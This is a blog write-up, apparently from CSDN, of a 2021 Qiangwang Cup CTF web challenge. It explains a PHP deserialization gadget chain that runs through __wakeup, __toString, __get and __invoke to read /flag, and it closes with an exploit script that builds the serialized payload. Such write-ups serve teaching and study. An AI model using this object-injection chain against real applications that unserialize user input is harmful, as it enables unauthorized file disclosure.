2021强网杯 Web赌徒 WP

本文详细分析了一道PHP反序列化题目,涉及__invoke、__get、__toString等魔法方法的调用流程。通过实例化和方法调用来触发特定行为,最终获取FLAG。文章强调了理解魔术方法和调用机制的重要性,并提供了exploit代码作为示例。
摘要由CSDN通过智能技术生成

源代码:

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

是一道反序列化的题目,首先想到的应该是寻找_destruct,_construct方法看是否有命令执行的地方,
这里只存在一个__construct方法。这个方法不大行

public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

分析

其次在寻找魔法函数的时候,在ROOM类里面可以看见有一个get_hint方法,那么这个方法极大可能是我们最后需要调用的方法。
接下从这个方法往前面推,要想调用get_hint,必须调用_invoke(),_invoke是一个魔法函数,把实例化的对象当成函数使用,就会自动调用:

__invoke

举个例子:

<?php 
	class test1()
	{
	public $a='abc';
	public function __invoke()
		{
			echo “invoke !!\n”;
		}
	}
	$dog=new test1();
	$dog('123');
	$dog();
	//输出内容: invoke !!  invoke !!

知道了上面的调用方法,接下来再去寻找一下return的地方,因为这里要调用__invoke要求严格,必须先实例化,在当成函数使用,也就是说,必须是return Room();
而大多数return里面,仅仅return字符串,所以这样一来,我们能利用的return也就只有一个地方了:

    public function __get($name){
       $function = $this->a;
       return $function();
   }

a参数可控,这里可以让this->$a=new Room();后面return $function()的时候就是一个方法了。
!!这里自己当时被坑了一下,没有看见$function后面的括号!!

到目前为止,我们已经知道可以通过Room里面的__get方法可以调用__invoke方法拿到FLAG
接下来看一看,如何调用__get方法:

__get

__get方法调用条件是:访问一个私有属性或者一个不存在(没有初始化)的属性,举个例子:

<?php 
 class test1
 {
     public $a='1';
     private $c='2';
     public function __get($name)
     {
         echo "__get!!! \n";
         
     }
     
 }
 $b=new test1();
 $b->$a;
 $b->$c;
 $b->$asdas;
 //输出:  __get!!!_ _get!!! __get!!!

知道了怎么调用__get后,再去其他两个类寻找一下入口:

// class info
public function __toString(){
     return $this->file['filename']->ffiillee['ffiilleennaammee'];
 }

那么很显然,要调用Room中的__get方法,这里__tostring方法中的file[‘filename’]应该是new Room(),fifilee[
ffiilleennaammee]不存在 ,就可以调用了那么如何调用_tostring方法

_tostring

_tostring方法在输出、打印实例化对象的时候被调用,举个例子:

<?php 
 class test1
 {
     public $a='1';
     private $c='2';
     public function __tostring()
     {
         echo '__tostring!!';
     }
 }
 $b=new test1();
 echo new test1();
 echo $b;

接下来就是去找可以echo或者return的地方

//class Start
public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

接下来就是顺理成章的调用_sayhello ,剩下的就很简单了,实例化Start类,自动调用wakeup方法,从而调用_sayhello方法,参数我们都可以控制

EXP

<?php
class Start{}
class Info{}
class Room{
public function __construct(){
$this->filename = "/flag";
}
}
$a = new Start();
$b = new Info();
$c = new Room();
$c->a = new Room();
$b->file['filename'] = $c;
$a->name = $b;
echo serialize($a);
?>

调用流程:

从下往上依次调用
在这里插入图片描述

总结

这道题还是比较基础,都是考察简单的魔术方法,基础很重要,复现的时候可以自己搭环境调试看看整个流程。
有写得不对的地方,希望师傅们指出

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值